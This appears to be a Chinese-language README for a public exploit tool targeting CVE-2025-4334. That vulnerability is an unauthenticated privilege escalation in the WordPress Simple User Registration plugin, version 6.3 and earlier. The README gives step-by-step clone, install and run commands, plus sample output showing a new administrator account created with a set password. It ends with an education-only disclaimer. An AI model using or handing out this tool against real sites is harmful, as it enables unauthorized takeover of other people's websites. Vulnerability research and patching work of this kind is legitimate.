漏洞利用标题： Simple User Registration <= 6.3 – 未认证权限提升
作者： Gaurav Bhattacharjee (0xgh057r3c0n)
CVE ID： CVE-2025-4334
此漏洞利用针对 WordPress 的 Simple User Registration 插件（<= v6.3） 中的一个漏洞，允许 未认证的攻击者 提升权限并创建新的管理员账户。
克隆仓库并安装所需的 Python 依赖：
git clone https://github.com/0xgh057r3c0n/CVE-2025-4334.git
cd CVE-2025-4334
pip3 install -r requirements.txt
依赖项：
requestscoloramapython3 CVE-2025-4334.py -u <base_url> --form <form_url>
参数：
-u / --url → WordPress 基础 URL（例如 https://target.com/wordpress/）--form → 注册表单的完整 URL（例如 https://target.com/wpr/default-registration/）示例：
python3 CVE-2025-4334.py -u https://example.com/wordpress --form https://example.com/wpr/default-registration/
[*] Fetching form details...
[i] Extracted Nonce : 1a2b3c4d5e
[i] Extracted Form ID : 12
[i] Referer Path : /wpr/default-registration/
[*] Sending exploit payload...
[i] HTTP Response Code : 200
[i] Server Response : {"success":true,"user_id":2}
[+] Exploitation Successful
[+] Username : 0xgh057r3c0nadmin
[+] First Name : 0xgh057r3c0nadmin
[+] Last Name : 0xgh057r3c0nadmin
[+] Email : [email protected]
[+] Password : Wiz007@8876@
[+] Role : administrator
Exploit By : Gaurav Bhattacharjee (0xgh057r3c0n)
此工具仅供 教育和研究目的 使用。
未经许可在系统上使用是违法的。
作者对滥用 不承担任何责任。
本项目基于 MIT 许可证 进行许可。